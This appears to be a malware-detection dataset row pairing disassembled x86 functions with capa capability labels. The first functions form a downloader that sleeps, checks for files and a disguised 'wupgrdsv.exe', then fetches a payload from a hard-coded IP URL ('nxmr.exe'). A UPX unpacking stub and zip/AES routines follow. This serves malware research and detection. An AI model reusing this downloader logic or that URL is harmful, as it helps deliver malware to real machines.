joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401380
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x4022b0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x208]
push ecx
push str._swereterrt.jpg
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013d3
xor al, al
jmp 0x40140d
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40140b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401420
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x104
lea eax, [ebp - 0x208]
push eax
push str._systemdrive_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x208]
push ecx
push str._sProgram_Files__x86_
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401471
mov al, 1
jmp 0x401473
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401480
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401420
movzx eax, al
test eax, eax
je 0x4014fd
call fcn.00401380
movzx ecx, al
test ecx, ecx
je 0x4014fd
push 0x104
lea edx, [ebp - 0x410]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
push eax
push str._sWindows_Upgradewupgrdsv.exe
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4014fd
push str.http:__185.215.113.66_nxmr.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0xa43c60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4d3000]
push edi
or ebp, 0xffffffff
jmp 0xa43c82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa43c89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa43c78
mov eax, 1
add ebx, ebx
jne 0xa43c9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa43cac
jne 0xa43ccb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa43ccb
dec eax
add ebx, ebx
jne 0xa43cb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa43c90
add ebx, ebx
jne 0xa43cc7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa43d1d
xor ecx, ecx
sub eax, 3
jb 0xa43ce3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa43d52
sar eax, 1
mov ebp, eax
jmp 0xa43cee
add ebx, ebx
jne 0xa43cee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa43cbc
inc ecx
add ebx, ebx
jne 0xa43cfc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa43cbc
add ebx, ebx
jne 0xa43d09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa43cfe
jne 0xa43d1a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa43cfe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa43d3c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa43d2e
jmp 0xa43c7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa43d3c
add edi, ecx
jmp 0xa43c7e
pop esi
mov edi, esi
mov ecx, 0x13743
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa43d5a
cmp byte [edi], 0x82
jne 0xa43d5a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa43d5f
lea edi, [esi + 0x617000]
mov eax, dword [edi]
or eax, eax
je 0xa43dce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x657f44]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x658034]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa43d8c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x658038]
or eax, eax
je 0xa43dc8
mov dword [ebx], eax
add ebx, 4
jmp 0xa43da9
call dword [esi + 0x658048]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xa43dff
cmp al, 0xef
ja 0xa43df2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xa43dd4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xa43de1
mov ebp, dword [esi + 0x65803c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa43e33
sub esp, 0xffffff80
jmp 0x7cb600
Function at 0x4015f0
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x438744
call fcn.00430d18
sub esp, 0x60
lea ecx, [ebp - 0x28]
call fcn.00414020
and dword [ebp - 4], 0
mov ecx, 0x44e58c
call fcn.00413a80
test eax, eax
je 0x401626
push 0x44e58c
lea ecx, [ebp - 0x28]
call fcn.004144d0
jmp 0x40165a
lea eax, [ebp - 0x28]
push eax
push 0x44318c
call fcn.004162b0
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x6c]
push 0x443188
push eax
call fcn.00431125
add esp, 0xc
lea eax, [ebp - 0x6c]
lea ecx, [ebp - 0x28]
push eax
call fcn.00413cf0
push esi
lea ecx, [ebp - 0x28]
call fcn.004235e0
push eax
push dword [ebp + 8]
call fcn.0040176c
pop ecx
test al, al
pop ecx
je 0x401753
mov esi, 0x44e554
mov ecx, esi
call fcn.00413a80
test eax, eax
je 0x401753
push edi
lea ecx, [ebp - 0x60]
call fcn.00414020
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.004235e0
push eax
lea ecx, [ebp - 0x60]
call fcn.00413cf0
mov esi, 0x44e570
xor edi, edi
mov ecx, esi
call fcn.00413a80
test eax, eax
je 0x4016c2
mov ecx, esi
call fcn.004235e0
mov edi, eax
push 1
lea ecx, [ebp - 0x28]
call fcn.004235e0
push eax
push edi
lea ecx, [ebp - 0x60]
call fcn.004235e0
push eax
push str.open
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
pop edi
jg 0x401747
lea ecx, [ebp - 0x44]
call fcn.00414020
push str.Failed_to_run
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 2
call fcn.00413cf0
lea ecx, [ebp - 0x60]
call fcn.004235e0
push eax
lea ecx, [ebp - 0x44]
call fcn.00413cf0
push str.__check_to_see_if_this_file_is_in_the_Zip_
lea ecx, [ebp - 0x44]
call fcn.00413cf0
push 0
push str.Error
lea ecx, [ebp - 0x44]
call fcn.004235e0
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 1
call fcn.004141b0
and byte [ebp - 4], 0
lea ecx, [ebp - 0x60]
call fcn.004141b0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004141b0
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x402d60
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4389f2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.00404d30
lea ebp, [esi + 0x10]
xor ebx, ebx
mov ecx, ebp
mov dword [esp + 0x1ac], ebx
call fcn.00418040
lea ecx, [esi + 0x20]
mov byte [esp + 0x1ac], 1
call fcn.00423590
lea ecx, [esi + 0x4c]
mov byte [esp + 0x1ac], 2
mov dword [esi + 0x34], ebx
mov word [esi + 0x38], bx
mov word [esi + 0x3a], bx
mov word [esi + 0x3c], bx
mov word [esi + 0x3e], bx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov word [esi + 0x48], bx
call fcn.00414020
lea ecx, [esi + 0x6c]
mov byte [esp + 0x1ac], 3
mov byte [esi + 0x68], bl
call fcn.00414020
lea ecx, [esi + 0x8c]
mov byte [esp + 0x1ac], 4
mov byte [esi + 0x88], bl
call fcn.00423590
lea ecx, [esi + 0xa0]
mov byte [esp + 0x1ac], 5
call fcn.00423590
lea ecx, [esi + 0xb4]
mov byte [esp + 0x1ac], 6
call fcn.00423770
lea ecx, [esi + 0xf0]
mov byte [esp + 0x1ac], 7
mov byte [esi + 0xe4], bl
mov dword [esi + 0xe8], ebx
mov dword [esi + 0xec], 0x80
call fcn.00414020
lea ecx, [esi + 0x110]
mov byte [esp + 0x1ac], 8
mov byte [esi + 0x10c], bl
call fcn.00414020
lea ecx, [esi + 0x12c]
mov byte [esp + 0x1ac], 9
call fcn.00414020
lea edi, [esi + 0x14c]
mov byte [esp + 0x1ac], 0xa
mov ecx, edi
mov dword [esi + 0x148], ebx
call fcn.00414020
lea ecx, [esi + 0x168]
mov byte [esp + 0x1ac], 0xb
call fcn.00414020
lea ecx, [esi + 0x188]
mov byte [esp + 0x1ac], 0xc
mov byte [esi + 0x184], bl
call fcn.00414020
mov byte [esp + 0x1ac], 0xd
mov byte [esi + 0x1a4], bl
lea ecx, [esi + 0x1a8]
call fcn.00414020
lea ecx, [esi + 0x1c4]
mov byte [esp + 0x1ac], 0xe
call fcn.00414020
lea ecx, [esi + 0x1e4]
mov byte [esp + 0x1ac], 0xf
mov byte [esi + 0x1e0], bl
call fcn.00414020
lea ecx, [esi + 0x200]
mov byte [esp + 0x1ac], 0x10
call fcn.00414020
lea ecx, [esi + 0x21c]
mov byte [esp + 0x1ac], 0x11
call fcn.00414020
lea ecx, [esi + 0x238]
mov byte [esp + 0x1ac], 0x12
call fcn.00414020
mov eax, dword [esp + 0x1b4]
mov byte [esp + 0x1ac], 0x13
mov dword [esi + 0x254], eax
mov dword [esi], vtable.ClsZip2.1.0
mov dword [ebp], vtable.ClsZip2.0
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push str.unnamed.zip
lea ecx, [esi + 0x110]
mov dword [esi + 0x1c], eax
call fcn.00413cf0
lea ecx, [esp + 0x14]
push ecx
push 0x190
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x14]
mov ecx, edi
push edx
call fcn.00413cf0
push 0xfde9
mov ecx, edi
call fcn.004143f0
push 0x443400
lea ecx, [esi + 0x168]
call fcn.00413cf0
xor eax, eax
pop edi
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov word [esi + 0x48], ax
mov ecx, dword [0x443384]
mov dword [esi + 0x18], ecx
mov eax, dword [0x443384]
mov ecx, dword [esp + 0x1a0]
inc eax
mov dword [0x443384], eax
mov dword [esi + 0xb8], ebx
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xbc], 0x80
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a0
ret 4
Function at 0x4040b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x438c5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, ecx
call fcn.00403230
push 0x58
call fcn.004313b4
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
mov dword [esp + 0x30], 0
je 0x4040f5
mov ecx, eax
call fcn.00424b10
jmp 0x4040f7
xor eax, eax
mov edi, dword [esp + 0x3c]
mov ebx, dword [esp + 0x38]
push edi
push ebx
mov ecx, eax
mov dword [esp + 0x38], 0xffffffff
mov dword [esi + 0x148], eax
call fcn.00424ab0
mov eax, dword [esi + 0x148]
lea ecx, [esp + 0xc]
mov byte [eax + 9], 1
call fcn.004063e0
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 1
call fcn.00423590
mov eax, dword [esi + 0x1c]
lea ecx, [esi + 0x34]
push eax
lea edx, [esi + 0x4c]
push ecx
lea eax, [esp + 0x1c]
push edx
lea ecx, [esi + 4]
push eax
push ecx
push edi
push ebx
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 2
call fcn.00406c60
mov bl, al
test bl, bl
je 0x404177
lea edx, [esp + 0x14]
mov ecx, esi
push edx
call fcn.00404640
mov bl, al
test bl, bl
jne 0x404187
lea ecx, [esp + 0x14]
call fcn.004236f0
mov ecx, esi
call fcn.00403230
lea ecx, [esp + 0x14]
call fcn.004236c0
lea ecx, [esi + 0x12c]
call fcn.00413b90
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 1
call fcn.004235b0
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 0xffffffff
call fcn.00406410
mov ecx, dword [esp + 0x28]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8

Function at 0x407080
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x438f38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.00418040
xor edi, edi
lea ecx, [esi + 0x60]
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov word [esi + 0x10], di
mov word [esi + 0x12], di
mov word [esi + 0x14], di
mov word [esi + 0x16], di
mov word [esi + 0x18], di
mov dword [esi + 0x1a], edi
mov dword [esi + 0x1e], edi
mov dword [esi + 0x22], edi
mov word [esi + 0x26], di
mov word [esi + 0x28], di
mov dword [esi + 0x2c], edi
mov dword [esp + 0x14], edi
mov dword [esi + 0x30], edi
mov word [esi + 0x34], di
mov word [esi + 0x36], di
mov word [esi + 0x38], di
mov word [esi + 0x3a], di
mov word [esi + 0x3c], di
mov word [esi + 0x3e], di
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov word [esi + 0x4c], di
mov word [esi + 0x4e], di
mov word [esi + 0x50], di
mov word [esi + 0x52], di
mov word [esi + 0x54], di
mov dword [esi + 0x56], edi
mov dword [esi + 0x5a], edi
call fcn.00414020
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x7c], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x84], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x8c], edi
mov dword [esi + 0x90], edi
mov dword [esi + 0x94], edi
mov dword [esi + 0x98], edi
mov dword [esi], vtable.ZipWalkEntry.0
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4072b0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x438f83
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x80
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x34]
call fcn.004180d0
xor ebx, ebx
lea ecx, [esp + 0x18]
mov dword [esp + 0x98], ebx
call fcn.00414020
mov eax, dword [esp + 0xa4]
mov byte [esp + 0x98], 1
cmp eax, ebx
je 0x4073cd
push eax
lea ecx, [esp + 0x1c]
call fcn.00413cf0
cmp byte [esp + 0xa0], bl
je 0x40731f
lea ecx, [esp + 0x18]
call fcn.004146c0
lea ecx, [esp + 0x18]
call fcn.004235e0
push eax
lea ecx, [esp + 0x38]
call fcn.00418340
mov esi, dword [esp + 0xa8]
lea eax, [esp + 0x34]
push esi
push eax
call fcn.004153c0
mov ebp, eax
add esp, 8
cmp ebp, 0xffffffff
je 0x4073cd
mov ecx, dword [edi + 0x30]
cmp ecx, ebx
je 0x4073c3
mov eax, dword [edi + 0x2c]
cmp eax, ebx
je 0x4073c3
lea edx, [esp + 0x14]
push ebx
push edx
push ecx
push eax
push ebp
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
mov ecx, dword [edi + 0x30]
cmp eax, ecx
je 0x4073c3
cmp esi, ebx
je 0x4073c3
mov edx, dword [esi]
push str.Failed_to_write_data_to_file
mov ecx, esi
call dword [edx + 0x10]
mov ebx, dword [esi]
lea ecx, [esp + 0x18]
call fcn.004235e0
push eax
push str.filename
mov ecx, esi
call dword [ebx + 0x2c]
mov ecx, dword [edi + 0x30]
mov eax, dword [esi]
push ecx
push str.data_size
mov ecx, esi
call dword [eax + 0x30]
mov eax, dword [esp + 0x14]
mov edx, dword [esi]
push eax
push str.bytes_written
mov ecx, esi
call dword [edx + 0x30]
xor ebx, ebx
push esi
push ebp
call fcn.004246e0
add esp, 8
mov esi, dword [esp + 0xac]
cmp esi, ebx
je 0x4073f0
lea ecx, [esp + 0x13]
mov byte [esp + 0x13], bl
push ecx
mov ecx, edi
call fcn.004072a0
push eax
mov ecx, esi
call fcn.00423920
lea ecx, [esp + 0x18]
mov byte [esp + 0x98], bl
call fcn.004141b0
lea ecx, [esp + 0x34]
mov dword [esp + 0x98], 0xffffffff
call fcn.00418190
mov ecx, dword [esp + 0x90]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x8c
ret 0x10

Function at 0x4075c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x438fb9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], esi
call fcn.00423770
xor ebx, ebx
lea ecx, [esi + 0x3c]
mov dword [esp + 0x14], ebx
mov byte [esi + 0x30], bl
mov byte [esi + 0x31], bl
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
call fcn.00414020
lea ecx, [esi + 0x5c]
mov byte [esp + 0x14], 1
mov byte [esi + 0x58], bl
mov byte [esi + 0x59], bl
mov byte [esi + 0x5a], bl
mov byte [esi + 0x5b], bl
call fcn.00414020
lea ecx, [esi + 0x7c]
mov byte [esp + 0x14], 2
mov dword [esi + 0x78], ebx
call fcn.00416ea0
lea ecx, [esi + 0xb0]
mov byte [esp + 0x14], 3
mov byte [esi + 0x90], 1
mov dword [esi + 0x94], ebx
mov dword [esi + 0x98], ebx
mov byte [esi + 0x9c], bl
mov dword [esi + 0xa0], 6
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xa8], ebx
mov dword [esi + 0xac], ebx
call fcn.00414020
mov ecx, dword [esp + 0xc]
mov dword [esi], vtable.ZipPipeline.0
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x408090
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x439100
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0x10]
call fcn.00425380
mov edi, dword [esp + 0x88]
mov dword [esp + 0x80], 0
test edi, edi
jne 0x4080d0
lea edi, [esp + 0x10]
lea ecx, [esp + 0x28]
call fcn.00414020
lea eax, [esp + 0x28]
mov ecx, esi
push eax
mov byte [esp + 0x84], 1
call fcn.00407b90
lea ecx, [esp + 0xf]
push edi
push ecx
lea ecx, [esp + 0x30]
mov byte [esp + 0x17], 0
call fcn.004235e0
push eax
call fcn.00424c90
mov ebp, eax
mov al, byte [esp + 0x1b]
add esp, 0xc
test al, al
jne 0x408175
test edi, edi
je 0x40813a
mov edx, dword [edi]
push str.Failed_to_create_temporary_output_file
mov ecx, edi
call dword [edx + 0x10]
mov esi, dword [edi]
lea ecx, [esp + 0x28]
call fcn.004235e0
push eax
push str.filename
mov ecx, edi
call dword [esi + 0x2c]
lea ecx, [esp + 0x28]
mov byte [esp + 0x80], 0
call fcn.004141b0
lea ecx, [esp + 0x10]
mov dword [esp + 0x80], 0xffffffff
call fcn.004253c0
pop edi
pop esi
xor al, al
pop ebp
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
add esp, 0x78
ret 4
push ebp
lea ecx, [esp + 0x18]
call fcn.00424d10
push 0
lea ecx, [esp + 0x48]
mov byte [esp + 0x84], 2
call fcn.0040aed0
push esi
lea ecx, [esp + 0x48]
mov byte [esp + 0x84], 3
call fcn.00423800
mov eax, dword [esi + 0xac]
mov byte [esp + 0xf], 0
mov dword [esp + 0x74], eax
mov al, byte [esi + 0x30]
test al, al
je 0x4081d3
lea eax, [esp + 0x14]
lea ecx, [esi + 0x5c]
push eax
call fcn.004235e0
push eax
lea ecx, [esp + 0x4c]
call fcn.0040bc00
jmp 0x4081f4
lea ecx, [esp + 0x14]
lea edi, [esi + 0x7c]
push ecx
mov ecx, edi
call fcn.004235e0
push eax
mov ecx, edi
call fcn.00416de0
push eax
lea ecx, [esp + 0x50]
call fcn.0040bd50
push 0
push ebp
mov byte [esp + 0x17], al
call fcn.004246e0
mov al, byte [esi + 0x5b]
add esp, 8
test al, al
je 0x408226
lea edi, [esi + 0x5c]
mov ecx, edi
call fcn.00413a80
test eax, eax
je 0x408226
mov ecx, edi
call fcn.004235e0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x28]
mov byte [esi + 0x5b], 1
call fcn.004235e0
push eax
lea ecx, [esi + 0x5c]
call fcn.00414510
mov al, byte [esi + 0x90]
lea ecx, [esi + 0x7c]
test al, al
jne 0x408257
call fcn.00416e50
mov byte [esi + 0x90], 1
jmp 0x40825c
call fcn.004236c0
push ebx
mov bl, byte [esp + 0x13]
lea ecx, [esp + 0x48]
mov byte [esi + 0x30], 1
mov byte [esp + 0x84], 2
call fcn.0040af10
lea ecx, [esp + 0x18]
mov byte [esp + 0x84], 1
call fcn.00424d60
lea ecx, [esp + 0x2c]
mov byte [esp + 0x84], 0
call fcn.004141b0
lea ecx, [esp + 0x14]
mov dword [esp + 0x84], 0xffffffff
call fcn.004253c0
mov ecx, dword [esp + 0x7c]
mov al, bl
pop ebx
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x78
ret 4
Function at 0x408890
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x4391b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0x10]
call fcn.00425380
mov ebp, dword [esp + 0x54]
mov dword [esp + 0x4c], 0
test ebp, ebp
jne 0x4088cb
lea ebp, [esp + 0x10]
mov al, byte [esi + 0x30]
test al, al
je 0x4089d2
lea ecx, [esp + 0x28]
call fcn.00414020
lea eax, [esp + 0x28]
mov bl, 1
push eax
push str.ckAes.dat
mov byte [esp + 0x54], bl
call fcn.004162b0
add esp, 8
lea ecx, [esp + 0x28]
lea edi, [esi + 0x5c]
push ebp
call fcn.004235e0
push eax
mov ecx, edi
call fcn.004235e0
push eax
lea ecx, [esi + 0xc]
call fcn.004235e0
mov ecx, dword [esi + 8]
mov edx, dword [esi + 4]
push eax
push ecx
push edx
call fcn.00417a50
add esp, 0x18
test al, al
jne 0x408974
push ebp
lea ecx, [esp + 0x2c]
call fcn.004235e0
push eax
call fcn.00416050
add esp, 8
test ebp, ebp
je 0x40894e
mov eax, dword [ebp]
push str.Failed_to_AES_encrypt_source_file_data
mov ecx, ebp
call dword [eax + 0x10]
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 0
call fcn.004141b0
lea ecx, [esp + 0x10]
mov dword [esp + 0x4c], 0xffffffff
call fcn.004253c0
xor al, al
jmp 0x408aae
mov al, byte [esi + 0x5b]
test al, al
je 0x408989
mov ecx, edi
call fcn.004235e0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x28]
mov byte [esi + 0x5b], bl
call fcn.004235e0
push eax
mov ecx, edi
call fcn.00414510
mov al, byte [esi + 0x90]
lea ecx, [esi + 0x7c]
test al, al
jne 0x4089b7
call fcn.00416e50
mov byte [esi + 0x90], bl
jmp 0x4089bc
call fcn.004236c0
lea ecx, [esp + 0x28]
mov byte [esi + 0x30], bl
mov byte [esp + 0x4c], 0
call fcn.004141b0
jmp 0x408a9b
lea ecx, [esp + 0x14]
call fcn.00416ea0
lea ecx, [esp + 0x14]
lea edi, [esi + 0x7c]
push ecx
mov ecx, edi
mov byte [esp + 0x50], 2
call fcn.004235e0
push eax
mov ecx, edi
call fcn.00416de0
push eax
lea ecx, [esi + 0xc]
call fcn.004235e0
mov edx, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push edx
push eax
call fcn.00417cb0
add esp, 0x18
test al, al
jne 0x408a49
test ebp, ebp
je 0x408a26
mov edx, dword [ebp]
push str.Failed_to_AES_encrypt_source_data
mov ecx, ebp
call dword [edx + 0x10]
lea ecx, [esp + 0x14]
mov byte [esp + 0x4c], 0
call fcn.004174b0
lea ecx, [esp + 0x10]
mov dword [esp + 0x4c], 0xffffffff
call fcn.004253c0
xor al, al
jmp 0x408aae
mov al, byte [esi + 0x90]
mov ecx, edi
test al, al
jne 0x408a5c
call fcn.00416e50
jmp 0x408a61
call fcn.004236c0
lea ecx, [esp + 0x14]
call fcn.004235e0
push eax
lea ecx, [esp + 0x18]
call fcn.00416de0
push eax
mov ecx, edi
call fcn.004175f0
lea ecx, [esp + 0x14]
call fcn.00416e50
mov bl, 1
lea ecx, [esp + 0x14]
mov byte [esi + 0x90], bl
mov byte [esp + 0x4c], 0
call fcn.004174b0
lea ecx, [esp + 0x10]
mov dword [esp + 0x4c], 0xffffffff
call fcn.004253c0
mov al, bl
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x40
ret 4